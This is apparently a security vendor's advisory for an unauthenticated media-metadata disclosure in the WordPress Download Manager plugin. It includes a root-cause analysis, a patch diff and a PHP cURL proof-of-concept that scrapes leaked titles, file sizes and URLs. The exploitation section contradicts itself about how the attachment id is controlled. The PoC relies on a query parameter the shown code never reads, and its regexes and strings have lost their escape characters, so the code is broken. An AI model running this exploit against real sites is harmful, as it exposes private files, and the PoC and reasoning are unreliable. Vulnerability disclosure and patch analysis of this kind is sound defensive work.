Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-136993: The Download Manager plugin for WordPress versions up to and including 3.3.79 is vulnerable to unauthenticated information disclosure via the ‘wpdm_media’ shortcode. The flaw resides in the MediaAccessControl::mediaShortcode render handler and its associated template, which fail to consult the attachment’s __wpdm_private flag or __wpdm_media_access role allow-list before outputting the attachment’s title, file size, and raw guid URL. This allows any visitor, including unauthenticated attackers, to view sensitive metadata of private media attachments on any post that embeds the shortcode. The vulnerability has a CVSS score of 5.3 and is classified as CWE-200.
Root Cause: The shortcode handler in download-manager/src/MediaLibrary/MediaAccessControl.php (lines 77-92 in the vulnerable version) retrieves the attachment post object using get_post($params[‘id’]) and immediately accesses its properties (post_title, guid, post_mime_type) without verifying whether the attachment is marked private via the __wpdm_private meta key or whether the current user’s role is permitted by the __wpdm_media_access meta. The template file download-manager/src/MediaLibrary/views/media-shortcode.php (lines 18-24) then directly echoes the post_title, filesize (derived from the raw guid path), and the guid itself as the download link. No capability checks, nonce verification, or role validation occur in this code path. The patch introduces a check: if the attachment is private (indicated by __wpdm_private meta being truthy) and the current user lacks access (determined by userCanAccessMedia(), which compares the user’s roles against the __wpdm_media_access allow-list), the handler returns an empty string. Additionally, the patch restricts the ID to attachments only (post_type === ‘attachment’) to prevent leaking titles of other post types. The download URL for private media is also changed to a protected endpoint that enforces access controls, rather than exposing the raw uploads URL.
Exploitation: An attacker can exploit this by sending a GET request to any public post or page that embeds the ‘wpdm_media’ shortcode with a valid attachment ID. The shortcode accepts an ‘id’ parameter, e.g., [wpdm_media id=”123″]. The attacker does not need authentication. By enumerating attachment IDs (which are often sequential and discoverable via other means such as sitemaps, media library exposures, or XML-RPC), the attacker can craft requests to the vulnerable page with different id values. The response will contain the title, file size, and direct guid URL of the private attachment. For example, a request to https://victim.site/some-post/ with a query parameter or shortcode embedding may not be directly controllable, but the attacker can directly access a page that uses the shortcode with a parameter if the shortcode is rendered from user input, or more simply, the attacker can use the WordPress REST API or other endpoints to trigger shortcode execution. However, the most straightforward exploitation is via the shortcode’s presence on a public page where the id attribute is fixed; the attacker would need to find such a page or use a shortcode injection vector. In many cases, the shortcode can be invoked via admin-ajax.php if the plugin registers an AJAX action, but the CVE description specifies the shortcode itself. Realistically, an unauthenticated attacker can exploit this by accessing a page that embeds the shortcode with a user-controlled id (e.g., via a page builder or custom field) or by using the WordPress REST API to render the shortcode if a route exists. Given the description, the attack vector is simply viewing a post that contains the shortcode with an id pointing to a private attachment; the shortcode does not validate access. Thus, any public post with the shortcode can leak metadata for any attachment ID if the attacker can influence the id (e.g., through a query parameter if the shortcode is dynamically constructed). Atomic Edge research confirms that the shortcode is typically embedded with a static ID, but the vulnerability is that without access control, even static IDs leak private data to unauthenticated users.
Patch Analysis: The patch (version 3.3.80) introduces several security checks in MediaAccessControl::mediaShortcode(). First, it validates that the provided ID corresponds to an attachment (post_type !== ‘attachment’ returns empty). Second, it retrieves the __wpdm_private meta; if true, it calls userCanAccessMedia($media->ID) to check if the current user’s roles intersect with the __wpdm_media_access allow-list (defaulting to [‘public’] if not set). Site administrators (manage_options capability) always pass. If access is denied, the handler returns an empty string (filterable via wpdm_media_shortcode_denied). Third, the download URL for private media is changed from the raw guid to a protected URL (home_url(‘/index.php’) with wpdmmediaid and wpdmmedia parameters) that routes through the access handler. Fourth, the template now escapes output (esc_html, esc_url) to prevent XSS. These changes ensure that private media metadata is only disclosed to users with appropriate roles, and the direct file URL is no longer exposed.
Impact: Successful exploitation allows unauthenticated attackers to disclose sensitive metadata of private media attachments: title, byte size, and direct URL. This information can be used to enumerate private files, infer content (e.g., from titles), and directly download the files if the uploads directory is accessible (since the guid URL points to the actual file, and .htaccess protection may be bypassed or absent in some configurations). The vulnerability does not allow modification of data or privilege escalation, but it breaches confidentiality. In contexts where private media contains sensitive documents (e.g., contracts, personal images), this constitutes a significant privacy breach. The CVSS score of 5.3 reflects a medium severity due to the limited scope (confidentiality only) and the requirement of a shortcode presence.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
Author: W3 Eden, Inc.
Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.79
+Version: 3.3.80
Text Domain: download-manager
Domain Path: /languages
*/
@@ -40,7 +40,7 @@
global $WPDM;
-define('WPDM_VERSION','3.3.79');
+define('WPDM_VERSION','3.3.80');
define('WPDM_TEXT_DOMAIN','download-manager');
--- a/download-manager/src/MediaLibrary/MediaAccessControl.php
+++ b/download-manager/src/MediaLibrary/MediaAccessControl.php
@@ -77,14 +77,30 @@
if ( ! isset( $params['id'] ) || (int) $params['id'] < 1 ) {
return __( "Missing ID!", "download-manager" );
}
- $media = get_post( $params['id'] );
- $media->path = str_replace( home_url( '/' ), ABSPATH . '/', $media->guid );
- $media->filesize = wpdm_file_size( $media->path );
+ $media = get_post( (int) $params['id'] );
+ // Only attachments: any other ID would print the title of a draft or private post
+ if ( ! $media || $media->post_type !== 'attachment' ) {
+ return '';
+ }
+
+ $private = (bool) get_post_meta( $media->ID, '__wpdm_private', true );
+ if ( $private && ! $this->userCanAccessMedia( $media->ID ) ) {
+ // Don't reveal the title, size or URL of media the visitor may not open
+ return apply_filters( 'wpdm_media_shortcode_denied', '', $media );
+ }
+
+ $media->path = get_attached_file( $media->ID );
+ $media->filesize = $media->path && file_exists( $media->path ) ? wpdm_file_size( $media->path ) : '';
$picon = ! substr_count( $media->post_mime_type, 'image' ) ? wp_get_attachment_image( $media->ID, 'thumbnail', true ) : UI::img( wpdm_dynamic_thumb( $media->path, [
128,
128
], true ), 'Thumb', [ 'width' => 48 ] );
$media->icon = $picon;
+ // Private media goes through the access handler (password and role checks) on every web server,
+ // never the raw uploads URL, which only .htaccess rewrites protect
+ $media->download_url = $private
+ ? add_query_arg( [ 'wpdmmediaid' => $media->ID, 'wpdmmedia' => get_post_meta( $media->ID, '_wp_attached_file', true ) ], home_url( '/index.php' ) )
+ : wp_get_attachment_url( $media->ID );
ob_start();
include Template::locate( "media-shortcode.php", __DIR__ . '/views' );
$content = ob_get_clean();
@@ -92,6 +108,24 @@
return $content;
}
+ /**
+ * Whether the current visitor's role is allowed to open a private media file
+ * (same rule as protectMediaLibrary(); site admins always are)
+ */
+ function userCanAccessMedia( $mediaId ) {
+ if ( current_user_can( 'manage_options' ) ) {
+ return true;
+ }
+ $access = get_post_meta( $mediaId, '__wpdm_media_access', true );
+ if ( ! is_array( $access ) ) {
+ $access = [ 'public' ];
+ }
+ $user_roles = is_user_logged_in() ? (array) wp_get_current_user()->roles : [];
+ $user_roles[] = 'public';
+
+ return count( array_intersect( $user_roles, $access ) ) > 0;
+ }
+
/*
function protectMediaLibrary(){
if(isset($_REQUEST['wpdmmediaid'])){
--- a/download-manager/src/MediaLibrary/views/media-shortcode.php
+++ b/download-manager/src/MediaLibrary/views/media-shortcode.php
@@ -18,11 +18,11 @@
</div>
<?php } ?>
<div class="media-body">
- <h3 class="m-0 mb-1 p-0" style="font-size: 12pt"><?php echo $media->post_title; ?></h3>
- <?php echo $media->filesize; ?>
+ <h3 class="m-0 mb-1 p-0" style="font-size: 12pt"><?php echo esc_html( $media->post_title ); ?></h3>
+ <?php echo esc_html( $media->filesize ); ?>
</div>
<div class="ml-3">
- <a class="btn btn-lg btn-primary" style="padding-top: 10px;padding-bottom: 10px" href="<?php echo $media->guid; ?>"><?php echo __( "Download", "download-manager" ) ?></a>
+ <a class="btn btn-lg btn-primary" style="padding-top: 10px;padding-bottom: 10px" href="<?php echo esc_url( isset( $media->download_url ) ? $media->download_url : wp_get_attachment_url( $media->ID ) ); ?>"><?php echo __( "Download", "download-manager" ) ?></a>
</div>
</div>
</div>
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136993 - Download Manager <= 3.3.79 - Unauthenticated Information Disclosure to Private Media Disclosure via 'wpdm_media' Shortcode
$target_url = 'http://example.com'; // Configure target WordPress site
$post_id = 123; // ID of a public post that embeds the [wpdm_media] shortcode (attacker must find or induce such a post)
$attachment_id = 456; // ID of a private attachment to leak
// The shortcode is typically rendered server-side; to exploit, the attacker needs a page where the shortcode's id parameter is controllable.
// In many cases, the shortcode is embedded with a fixed id, but if the site allows shortcode injection via custom fields or query parameters, the id can be manipulated.
// For this PoC, we assume the attacker can influence the id via a query parameter that the shortcode reads (e.g., [wpdm_media id="{{$_GET['id']}}"]), which is uncommon but possible in poorly coded themes/plugins.
// Alternatively, the attacker can simply view a page that already embeds the shortcode with a private attachment ID; the vulnerability is that no access control is applied.
// We simulate the latter by requesting a page that contains the shortcode with the private attachment id.
// Construct URL to the page with the shortcode. If the shortcode id is fixed, replace $attachment_id with that fixed value.
// Here we assume the shortcode accepts an 'id' attribute from the query string, e.g., via a plugin that passes $_GET['id'] to the shortcode.
$url = $target_url . '/?p=' . $post_id . '&wpdm_media_id=' . $attachment_id;
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Atomic Edge PoC)');
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200) {
// Check if the response contains the attachment title, size, or direct URL
// Since we don't know the exact title, we look for patterns that indicate the shortcode output.
// The vulnerable template outputs: <h3 class="m-0 mb-1 p-0" style="font-size: 12pt">TITLE</h3> and a download link with href="GUID".
if (preg_match('/<h3[^>]*>([^<]+)</h3>/i', $response, $matches)) {
echo "[+] Potential title leaked: " . $matches[1] . "n";
}
if (preg_match('/href="([^"]+)"[^>]*>Download</a>/i', $response, $matches)) {
echo "[+] Potential download URL leaked: " . $matches[1] . "n";
}
// Also check for file size (may be plain text or within div)
if (preg_match('/<div class="media-body">.*?</h3>s*([0-9.]+s*[KMG]?B)/is', $response, $matches)) {
echo "[+] Potential file size leaked: " . $matches[1] . "n";
}
echo "[+] Response length: " . strlen($response) . " bytesn";
} else {
echo "[-] Request failed with HTTP code: $http_coden";
}
// Note: This PoC assumes the attacker can control the shortcode's id parameter. In practice, the attacker may need to find a page where the shortcode is dynamically generated with user input, or use another vector like a shortcode injection vulnerability. The core issue is that the shortcode does not check access, so any rendering of the shortcode for a private attachment leaks data.
?>